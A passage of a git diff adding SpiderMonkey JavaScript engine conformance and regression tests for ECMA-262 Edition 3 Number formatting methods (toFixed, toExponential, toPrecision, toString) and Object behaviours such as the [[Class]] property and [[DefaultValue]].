+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ var noargs = 3.3.toString();
+ var tenarg = 3.3.toString(10);
+ var undefarg = 3.3.toString(undefined);
+
+ if (noargs !== tenarg)
+ throw "() !== (10): " + noargs + " !== " + tenarg;
+ if (tenarg !== undefarg)
+ throw "(10) !== (undefined): " + tenarg + " !== " + undefarg;
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
+
+expect = 1;
+actual = 3.3.toString.length;
+reportCompare(expect, actual, '3.3.toString.length should be 1');
diff --git a/js/src/tests/ecma_3/Number/15.7.4.3-01.js b/js/src/tests/ecma_3/Number/15.7.4.3-01.js
new file mode 100644
index 000000000..2f1f3fffc
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.3-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "412068";
+var summary = "num.toLocaleString incorrectly accesses its first argument " +
+ "even when no first argument has been given";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ if ("3" !== 3..toLocaleString())
+ throw '"3" should equal 3..toLocaleString()';
+ if ("9" !== 9..toLocaleString(8))
+ throw 'Number.prototype.toLocaleString should ignore its first argument';
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Number/15.7.4.5-1.js b/js/src/tests/ecma_3/Number/15.7.4.5-1.js
new file mode 100644
index 000000000..ab7f356c6
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.5-1.js
@@ -0,0 +1,111 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-15
+ *
+ * SUMMARY: Testing Number.prototype.toFixed(fractionDigits)
+ * See EMCA 262 Edition 3 Section 15.7.4.5
+ *
+ * Also see http://bugzilla.mozilla.org/show_bug.cgi?id=90551
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Number.prototype.toFixed(fractionDigits)';
+var cnIsRangeError = 'instanceof RangeError';
+var cnNotRangeError = 'NOT instanceof RangeError';
+var cnNoErrorCaught = 'NO ERROR CAUGHT...';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var testNum = 234.2040506;
+
+
+status = 'Section A of test: no error intended!';
+actual = testNum.toFixed(4);
+expect = '234.2041';
+captureThis();
+
+
+/////////////////////////// OOPS.... ///////////////////////////////
+/*************************************************************************
+ * 15.7.4.5 Number.prototype.toFixed(fractionDigits)
+ *
+ * An implementation is permitted to extend the behaviour of toFixed
+ * for values of fractionDigits less than 0 or greater than 20. In this
+ * case toFixed would not necessarily throw RangeError for such values.
+
+status = 'Section B of test: expect RangeError because fractionDigits < 0';
+actual = catchError('testNum.toFixed(-4)');
+expect = cnIsRangeError;
+captureThis();
+
+status = 'Section C of test: expect RangeError because fractionDigits > 20 ';
+actual = catchError('testNum.toFixed(21)');
+expect = cnIsRangeError;
+captureThis();
+*************************************************************************/
+
+
+status = 'Section D of test: no error intended!';
+actual = 0.00001.toFixed(2);
+expect = '0.00';
+captureThis();
+
+status = 'Section E of test: no error intended!';
+actual = 0.000000000000000000001.toFixed(20);
+expect = '0.00000000000000000000';
+captureThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function catchError(sEval)
+{
+ try {eval(sEval);}
+ catch(e) {return isRangeError(e);}
+ return cnNoErrorCaught;
+}
+
+
+function isRangeError(obj)
+{
+ if (obj instanceof RangeError)
+ return cnIsRangeError;
+ return cnNotRangeError;
+}
diff --git a/js/src/tests/ecma_3/Number/15.7.4.5-2.js b/js/src/tests/ecma_3/Number/15.7.4.5-2.js
new file mode 100644
index 000000000..f9c75ea15
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.5-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469397;
+var summary = '(0.5).toFixed(0) == 1';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+ actual = (0.5).toFixed(0);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Number/15.7.4.6-1.js b/js/src/tests/ecma_3/Number/15.7.4.6-1.js
new file mode 100644
index 000000000..df45fa2ac
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.6-1.js
@@ -0,0 +1,115 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-15
+ *
+ * SUMMARY: Testing Number.prototype.toExponential(fractionDigits)
+ * See EMCA 262 Edition 3 Section 15.7.4.6
+ *
+ * Also see http://bugzilla.mozilla.org/show_bug.cgi?id=90551
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Number.prototype.toExponential(fractionDigits)';
+var cnIsRangeError = 'instanceof RangeError';
+var cnNotRangeError = 'NOT instanceof RangeError';
+var cnNoErrorCaught = 'NO ERROR CAUGHT...';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var testNum = 77.1234;
+
+
+status = 'Section A of test: no error intended!';
+actual = testNum.toExponential(4);
+expect = '7.7123e+1';
+captureThis();
+
+status = 'Section B of test: Infinity.toExponential() with out-of-range fractionDigits';
+actual = Number.POSITIVE_INFINITY.toExponential(-3);
+expect = 'Infinity';
+captureThis();
+
+status = 'Section C of test: -Infinity.toExponential() with out-of-range fractionDigits';
+actual = Number.NEGATIVE_INFINITY.toExponential(-3);
+expect = '-Infinity';
+captureThis();
+
+status = 'Section D of test: NaN.toExponential() with out-of-range fractionDigits';
+actual = Number.NaN.toExponential(-3);
+expect = 'NaN';
+captureThis();
+
+
+/////////////////////////// OOPS.... ///////////////////////////////
+/*************************************************************************
+ * 15.7.4.6 Number.prototype.toExponential(fractionDigits)
+ *
+ * An implementation is permitted to extend the behaviour of toExponential
+ * for values of fractionDigits less than 0 or greater than 20. In this
+ * case toExponential would not necessarily throw RangeError for such values.
+
+status = 'Section B of test: expect RangeError because fractionDigits < 0';
+actual = catchError('testNum.toExponential(-4)');
+expect = cnIsRangeError;
+captureThis();
+
+status = 'Section C of test: expect RangeError because fractionDigits > 20 ';
+actual = catchError('testNum.toExponential(21)');
+expect = cnIsRangeError;
+captureThis();
+*************************************************************************/
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function catchError(sEval)
+{
+ try {eval(sEval);}
+ catch(e) {return isRangeError(e);}
+ return cnNoErrorCaught;
+}
+
+
+function isRangeError(obj)
+{
+ if (obj instanceof RangeError)
+ return cnIsRangeError;
+ return cnNotRangeError;
+}
diff --git a/js/src/tests/ecma_3/Number/15.7.4.7-1.js b/js/src/tests/ecma_3/Number/15.7.4.7-1.js
new file mode 100644
index 000000000..e754528d5
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.7-1.js
@@ -0,0 +1,120 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-15
+ *
+ * SUMMARY: Testing Number.prototype.toPrecision(precision)
+ * See EMCA 262 Edition 3 Section 15.7.4.7
+ *
+ * Also see http://bugzilla.mozilla.org/show_bug.cgi?id=90551
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Number.prototype.toPrecision(precision)';
+var cnIsRangeError = 'instanceof RangeError';
+var cnNotRangeError = 'NOT instanceof RangeError';
+var cnNoErrorCaught = 'NO ERROR CAUGHT...';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var testNum = 5.123456;
+
+
+status = 'Section A of test: no error intended!';
+actual = testNum.toPrecision(4);
+expect = '5.123';
+captureThis();
+
+status = 'Section B of test: Infinity.toPrecision() with out-of-range fractionDigits';
+actual = Number.POSITIVE_INFINITY.toPrecision(-3);
+expect = 'Infinity';
+captureThis();
+
+status = 'Section C of test: -Infinity.toPrecision() with out-of-range fractionDigits';
+actual = Number.NEGATIVE_INFINITY.toPrecision(-3);
+expect = '-Infinity';
+captureThis();
+
+status = 'Section D of test: NaN.toPrecision() with out-of-range fractionDigits';
+actual = Number.NaN.toPrecision(-3);
+expect = 'NaN';
+captureThis();
+
+
+/////////////////////////// OOPS.... ///////////////////////////////
+/*************************************************************************
+ * 15.7.4.7 Number.prototype.toPrecision(precision)
+ *
+ * An implementation is permitted to extend the behaviour of toPrecision
+ * for values of precision less than 1 or greater than 21. In this
+ * case toPrecision would not necessarily throw RangeError for such values.
+
+status = 'Section B of test: expect RangeError because precision < 1';
+actual = catchError('testNum.toPrecision(0)');
+expect = cnIsRangeError;
+captureThis();
+
+status = 'Section C of test: expect RangeError because precision < 1';
+actual = catchError('testNum.toPrecision(-4)');
+expect = cnIsRangeError;
+captureThis();
+
+status = 'Section D of test: expect RangeError because precision > 21 ';
+actual = catchError('testNum.toPrecision(22)');
+expect = cnIsRangeError;
+captureThis();
+*************************************************************************/
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function catchError(sEval)
+{
+ try {eval(sEval);}
+ catch(e) {return isRangeError(e);}
+ return cnNoErrorCaught;
+}
+
+
+function isRangeError(obj)
+{
+ if (obj instanceof RangeError)
+ return cnIsRangeError;
+ return cnNotRangeError;
+}
diff --git a/js/src/tests/ecma_3/Number/15.7.4.7-2.js b/js/src/tests/ecma_3/Number/15.7.4.7-2.js
new file mode 100644
index 000000000..6845b3087
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/15.7.4.7-2.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "411893";
+var summary = "num.toPrecision(undefined) should equal num.toString()";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ var prec = 3.3.toPrecision(undefined);
+ var str = 3.3.toString();
+ if (prec !== str)
+ {
+ throw "not equal! " +
+ "3.3.toPrecision(undefined) === '" + prec + "', " +
+ "3.3.toString() === '" + str + "'";
+ }
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Number/browser.js b/js/src/tests/ecma_3/Number/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/browser.js
diff --git a/js/src/tests/ecma_3/Number/regress-442242-01.js b/js/src/tests/ecma_3/Number/regress-442242-01.js
new file mode 100644
index 000000000..5202c004f
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/regress-442242-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442242;
+var summary = 'Do not assert: INT_FITS_IN_JSVAL(i)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i = 28800000;
+ -i;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Number/shell.js b/js/src/tests/ecma_3/Number/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Number/shell.js
diff --git a/js/src/tests/ecma_3/NumberFormatting/browser.js b/js/src/tests/ecma_3/NumberFormatting/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/NumberFormatting/browser.js
diff --git a/js/src/tests/ecma_3/NumberFormatting/shell.js b/js/src/tests/ecma_3/NumberFormatting/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/NumberFormatting/shell.js
diff --git a/js/src/tests/ecma_3/NumberFormatting/tostring-001.js b/js/src/tests/ecma_3/NumberFormatting/tostring-001.js
new file mode 100644
index 000000000..efc13f78a
--- /dev/null
+++ b/js/src/tests/ecma_3/NumberFormatting/tostring-001.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ var n0 = 1e23;
+ var n1 = 5e22;
+ var n2 = 1.6e24;
+
+ printStatus ("Number formatting test.");
+ printBugNumber ("11178");
+
+ reportCompare ("1e+23", n0.toString(), "1e23 toString()");
+ reportCompare ("5e+22", n1.toString(), "5e22 toString()");
+ reportCompare ("1.6e+24", n2.toString(), "1.6e24 toString()");
+
+}
+
+
diff --git a/js/src/tests/ecma_3/Object/8.6.1-01.js b/js/src/tests/ecma_3/Object/8.6.1-01.js
new file mode 100644
index 000000000..14bfef7c7
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/8.6.1-01.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 315436;
+var summary = 'In strict mode, setting a read-only property should generate a warning';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+enterFunc (String (BUGNUMBER));
+
+// should throw an error in strict mode
+var actual = '';
+var expect = '"length" is read-only';
+var status = summary + ': Throw if STRICT and WERROR is enabled';
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+try
+{
+ var s = new String ('abc');
+ s.length = 0;
+}
+catch (e)
+{
+ actual = e.message;
+}
+
+reportCompare(expect, actual, status);
+
+// should not throw an error if in strict mode and WERROR is false
+
+actual = 'did not throw';
+expect = 'did not throw';
+var status = summary + ': Do not throw if STRICT is enabled and WERROR is disabled';
+
+// toggle werror off
+options('werror');
+
+try
+{
+ s.length = 0;
+}
+catch (e)
+{
+ actual = e.message;
+}
+
+reportCompare(expect, actual, status);
+
+// should not throw an error if not in strict mode
+
+actual = 'did not throw';
+expect = 'did not throw';
+var status = summary + ': Do not throw if not in strict mode';
+
+// toggle strict off
+options('strict');
+
+try
+{
+ s.length = 0;
+}
+catch (e)
+{
+ actual = e.message;
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/ecma_3/Object/8.6.2.6-001.js b/js/src/tests/ecma_3/Object/8.6.2.6-001.js
new file mode 100644
index 000000000..9e7c99344
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/8.6.2.6-001.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 September 2002
+ * SUMMARY: Test for TypeError on invalid default string value of object
+ * See ECMA reference at http://bugzilla.mozilla.org/show_bug.cgi?id=167325
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 167325;
+var summary = "Test for TypeError on invalid default string value of object";
+var TEST_PASSED = 'TypeError';
+var TEST_FAILED = 'Generated an error, but NOT a TypeError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * This should generate a TypeError. See ECMA reference
+ * at http://bugzilla.mozilla.org/show_bug.cgi?id=167325
+ */
+try
+{
+ var obj = {toString: function() {return new Object();}}
+ obj == 'abc';
+}
+catch(e)
+{
+ if (e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/8.6.2.6-002.js b/js/src/tests/ecma_3/Object/8.6.2.6-002.js
new file mode 100644
index 000000000..f2e24b284
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/8.6.2.6-002.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476624;
+var summary = '[[DefaultValue]] should not call valueOf, toString with an argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No exception';
+
+ try
+ {
+ var o = {
+ valueOf: function()
+ {
+ if (arguments.length !== 0)
+ throw "unexpected arguments! arg1 type=" + typeof arguments[0] + ", value=" +
+ arguments[0];
+ return 2;
+ }
+ };
+ o + 3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Object/browser.js b/js/src/tests/ecma_3/Object/browser.js
new file mode 100644
index 000000000..0e57d1fcd
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/browser.js
@@ -0,0 +1,7 @@
+var GLOBAL = 'Window';
+
+function isObject(obj)
+{
+ return obj instanceof Object || obj == window;
+}
+
diff --git a/js/src/tests/ecma_3/Object/class-001.js b/js/src/tests/ecma_3/Object/class-001.js
new file mode 100644
index 000000000..0445ec87d
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/class-001.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Testing the internal [[Class]] property of objects
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js".
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing the internal [[Class]] property of objects';
+var statprefix = 'Current object is: ';
+var status = ''; var statusList = [ ];
+var actual = ''; var actualvalue = [ ];
+var expect= ''; var expectedvalue = [ ];
+
+
+status = 'the global object';
+actual = getJSClass(this);
+expect = GLOBAL;
+if (expect == 'Window' && actual == 'XPCCrossOriginWrapper')
+{
+ print('Skipping global object due to XPCCrossOriginWrapper. See bug 390946');
+}
+else
+{
+ addThis();
+}
+
+status = 'new Object()';
+actual = getJSClass(new Object());
+expect = 'Object';
+addThis();
+
+status = 'new Function()';
+actual = getJSClass(new Function());
+expect = 'Function';
+addThis();
+
+status = 'new Array()';
+actual = getJSClass(new Array());
+expect = 'Array';
+addThis();
+
+status = 'new String()';
+actual = getJSClass(new String());
+expect = 'String';
+addThis();
+
+status = 'new Boolean()';
+actual = getJSClass(new Boolean());
+expect = 'Boolean';
+addThis();
+
+status = 'new Number()';
+actual = getJSClass(new Number());
+expect = 'Number';
+addThis();
+
+status = 'Math';
+actual = getJSClass(Math); // can't use 'new' with the Math object (EMCA3, 15.8)
+expect = 'Math';
+addThis();
+
+status = 'new Date()';
+actual = getJSClass(new Date());
+expect = 'Date';
+addThis();
+
+status = 'new RegExp()';
+actual = getJSClass(new RegExp());
+expect = 'RegExp';
+addThis();
+
+status = 'new Error()';
+actual = getJSClass(new Error());
+expect = 'Error';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusList[UBound] = status;
+ actualvalue[UBound] = actual;
+ expectedvalue[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalue[i], actualvalue[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusList[i];
+}
diff --git a/js/src/tests/ecma_3/Object/class-002.js b/js/src/tests/ecma_3/Object/class-002.js
new file mode 100644
index 000000000..d6ea450e2
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/class-002.js
@@ -0,0 +1,112 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Testing the [[Class]] property of native constructors.
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2 re [[Class]] property.
+ *
+ * Same as class-001.js - but testing the constructors here, not
+ * object instances. Therefore we expect the [[Class]] property to
+ * equal 'Function' in each case.
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing the internal [[Class]] property of native constructors';
+var statprefix = 'Current constructor is: ';
+var status = ''; var statusList = [ ];
+var actual = ''; var actualvalue = [ ];
+var expect= ''; var expectedvalue = [ ];
+
+/*
+ * We set the expect variable each time only for readability.
+ * We expect 'Function' every time; see discussion above -
+ */
+status = 'Object';
+actual = getJSClass(Object);
+expect = 'Function';
+addThis();
+
+status = 'Function';
+actual = getJSClass(Function);
+expect = 'Function';
+addThis();
+
+status = 'Array';
+actual = getJSClass(Array);
+expect = 'Function';
+addThis();
+
+status = 'String';
+actual = getJSClass(String);
+expect = 'Function';
+addThis();
+
+status = 'Boolean';
+actual = getJSClass(Boolean);
+expect = 'Function';
+addThis();
+
+status = 'Number';
+actual = getJSClass(Number);
+expect = 'Function';
+addThis();
+
+status = 'Date';
+actual = getJSClass(Date);
+expect = 'Function';
+addThis();
+
+status = 'RegExp';
+actual = getJSClass(RegExp);
+expect = 'Function';
+addThis();
+
+status = 'Error';
+actual = getJSClass(Error);
+expect = 'Function';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusList[UBound] = status;
+ actualvalue[UBound] = actual;
+ expectedvalue[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalue[i], actualvalue[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusList[i];
+}
diff --git a/js/src/tests/ecma_3/Object/class-003.js b/js/src/tests/ecma_3/Object/class-003.js
new file mode 100644
index 000000000..3c935253d
--- /dev/null
+++ b/js/src/tests/ecma_3/Object/class-003.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Testing the [[Class]] property of native error types.
+ * See ECMA-262 Edition 3, Section 8.6.2 for the [[Class]] property.
+ *
+ * Same as class-001.js - but testing only the native error types here.
+ * See ECMA-262 Edition 3, Section 15.11.6 for a list of these types.
+ *
+ * ECMA expects the [[Class]] property to equal 'Error' in each case.
+ * See ECMA-262 Edition 3, Sections 15.11.1.1 and 15.11.7.2 for this.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=56868
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var UBound = 0;
+var BUGNUMBER = 56868;
+var summary = 'Testing the internal [[Class]] property of native error types';
+var statprefix = 'Current object is: ';
+var status = ''; var statusList = [ ];
+var actual = ''; var actualvalue = [ ];
+var expect= ''; var expectedvalue = [ ];
+
+/*
+ * We set the expect variable each time only for readability.
+ * We expect 'Error' every time; see discussion above -
+ */
+status = 'new Error()';
+actual = getJSClass(new Error());
+expect = 'Error';
+addThis();
+
+status = 'new EvalError()';
+actual = getJSClass(new EvalError());
+expect = 'Error';
+addThis();
+
+status = 'new RangeError()';
+actual = getJSClass(new RangeError());
+expect = 'Error';
+addThis();
+
+status = 'new ReferenceError()';
+actual = getJSClass(new ReferenceError());
+expect = 'Error';
+addThis();
+
+status = 'new SyntaxError()';
+actual = getJSClass(new SyntaxError());
+expect = 'Error';
+addThis();
+
+status = 'new TypeError()';
+actual = getJSClass(new TypeError());
+expect = 'Error';
+addThis();
+
+status = 'new URIError()';
+actual = getJSClass(new URIError());
+expect = 'Error';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusList[UBound] = status;
+ actualvalue[UBound] = actual;
+ expectedvalue[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i = 0; i < UBound; i++)
+ {
